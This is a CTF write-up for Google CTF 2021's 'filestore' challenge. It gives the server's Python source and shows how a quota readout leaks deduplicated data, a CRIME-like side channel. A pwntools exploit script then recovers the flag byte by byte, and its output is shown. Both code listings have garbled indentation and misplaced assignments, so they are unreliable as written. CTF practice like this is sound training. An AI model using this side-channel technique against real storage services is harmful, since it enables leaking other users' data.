Details
- Category : Misc
- Points : 50
- Solves : 321
Description
We stored our flag on this platform, but forgot to save the id. Can you help us restore it ?
nc filestore.2021.ctfcompetition.com 1337
Source code :
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os, secrets, string, time
from flag import flag
def main():
# It's a tiny server...
= bytearray(2**16)
blob = {}
files = 0
used
# Use deduplication to save space.
def store(data):
nonlocal used
= 16
MINIMUM_BLOCK = 1024
MAXIMUM_BLOCK = []
part_list while data:
= data[:MINIMUM_BLOCK]
prefix = -1
ind = 0, -1
bestlen, bestind while True:
= blob.find(prefix, ind+1)
ind if ind == -1: break
= len(os.path.commonprefix([data, bytes(blob[ind:ind+MAXIMUM_BLOCK])]))
length if length > bestlen:
= length, ind
bestlen, bestind
if bestind != -1:
= data[:bestlen], data[bestlen:]
part, data
part_list.append((bestind, bestlen))else:
= data[:MINIMUM_BLOCK], data[MINIMUM_BLOCK:]
part, data +len(part)] = part
blob[used:usedlen(part)))
part_list.append((used, += len(part)
used assert used <= len(blob)
= "".join(secrets.choice(string.ascii_letters+string.digits) for i in range(16))
fid = part_list
files[fid] return fid
def load(fid):
= []
data for ind, length in files[fid]:
+length])
data.append(blob[ind:indreturn b"".join(data)
print("Welcome to our file storage solution.")
# Store the flag as one of the files.
bytes(flag, "utf-8"))
store(
while True:
print()
print("Menu:")
print("- load")
print("- store")
print("- status")
print("- exit")
= input().strip().lower()
choice if choice == "load":
print("Send me the file id...")
= input().strip()
fid = load(fid)
data print(data.decode())
elif choice == "store":
print("Send me a line of data...")
= input().strip()
data = store(bytes(data, "utf-8"))
fid print("Stored! Here's your file id:")
print(fid)
elif choice == "status":
print("User: ctfplayer")
print("Time: %s" % time.asctime())
= used / 1024.0
kb = len(blob) / 1024.0
kb_all print("Quota: %0.3fkB/%0.3fkB" % (kb, kb_all))
print("Files: %d" % len(files))
elif choice == "exit":
break
else:
print("Nope.")
break
try:
main()except Exception:
print("Nope.")
1) time.sleep(
Understanding the problem
The server allows us to store some text and retrieve it later using an ID. We can also check some stats about the server :
== proof-of-work: disabled ==
Welcome to our file storage solution.
Menu:
- load
- store
- status
- exit
store
Send me a line of data...
blabla
Stored! Here's your file id:
Ks6I04YIBEr55REQ
Menu:
- load
- store
- status
- exit
load
Send me the file id...
Ks6I04YIBEr55REQ
blabla
Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sat Jul 31 14:31:57 2021
Quota: 0.032kB/64.000kB
Files: 2
Menu:
- load
- store
- status
- exit
exit
Upon connection the flag is stored but the ID is unknown. We have to find a way to retrieve the ID or exfiltrate the flag content directly.
Solving the problem
A quick look at the source code makes it clear that retrieving the flag’s ID will not be possible as it’s randomly generated :
= "".join(secrets.choice(string.ascii_letters+string.digits) for i in range(16)) fid
We will have to leak the flag content somehow.
When examining the store
function, we can see that the server is trying to save space by slitting our data in blocks of 16 bytes and trying to point to already existing data blocks whenever possible. This allows the server to save space and is comparable to data compression.
We know from the flag format that the flag starts with CTF{
. If we store CTF{
, this data will already exists, so no additional data should be stored on the server, thus not increasing the disk usage. Because we can see the server status, we can know if our input data is already stored on the server or not :
Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sat Jul 31 14:42:55 2021
Quota: 0.026kB/64.000kB
Files: 1
Menu:
- load
- store
- status
- exit
store
Send me a line of data...
CTF{
Stored! Here's your file id:
DWZGD9RyKEBQatBu
Menu:
- load
- store
- status
- exit
status
User: ctfplayer
Time: Sat Jul 31 14:43:05 2021
Quota: 0.026kB/64.000kB
Files: 2
If the Quota
doesn’t change, it means our data was already stored on the server, otherwise it wasn’t. With this, we can recover the flag one byte at a time.
This is the same attack principle as the CRIME vulnerability that affects data compression in protocols like TLS.
Implementing the solution
The full exploit script is given below:
from pwn import *
import string
def store(m):
"store")
conn.sendline(
conn.recvline()
conn.sendline(m)"- exit\n")
conn.recvuntil(
def status():
"status")
conn.sendline(
conn.recvline()
conn.recvline()= conn.recvline()
quota "- exit\n")
conn.recvuntil(return quota
= remote("filestore.2021.ctfcompetition.com", 1337)
conn "- exit\n")
conn.recvuntil(
= status()
STATUS = "CTF{"
FLAG = FLAG
TEMP for _ in range(100):
for e in string.printable:
+e)
store(TEMP= status()
q if q == STATUS:
+= e
FLAG += e
TEMP if len(TEMP) > 15:
= TEMP[1:]
TEMP print(f"{FLAG=}")
break
else:
= q
STATUS
conn.close()
Running it gives us the flag:
FLAG='CTF{C'
FLAG='CTF{CR'
FLAG='CTF{CR1'
FLAG='CTF{CR1M'
FLAG='CTF{CR1M3'
FLAG='CTF{CR1M3_'
FLAG='CTF{CR1M3_0'
FLAG='CTF{CR1M3_0f'
FLAG='CTF{CR1M3_0f_'
FLAG='CTF{CR1M3_0f_d'
FLAG='CTF{CR1M3_0f_d3'
FLAG='CTF{CR1M3_0f_d3d'
FLAG='CTF{CR1M3_0f_d3du'
FLAG='CTF{CR1M3_0f_d3dup'
FLAG='CTF{CR1M3_0f_d3dup1'
FLAG='CTF{CR1M3_0f_d3dup1i'
FLAG='CTF{CR1M3_0f_d3dup1ic'
FLAG='CTF{CR1M3_0f_d3dup1ic4'
FLAG='CTF{CR1M3_0f_d3dup1ic4t'
FLAG='CTF{CR1M3_0f_d3dup1ic4ti'
FLAG='CTF{CR1M3_0f_d3dup1ic4ti0'
FLAG='CTF{CR1M3_0f_d3dup1ic4ti0n'
FLAG='CTF{CR1M3_0f_d3dup1ic4ti0n}'
Flag : CTF{CR1M3_0f_d3dup1ic4ti0n}
Our news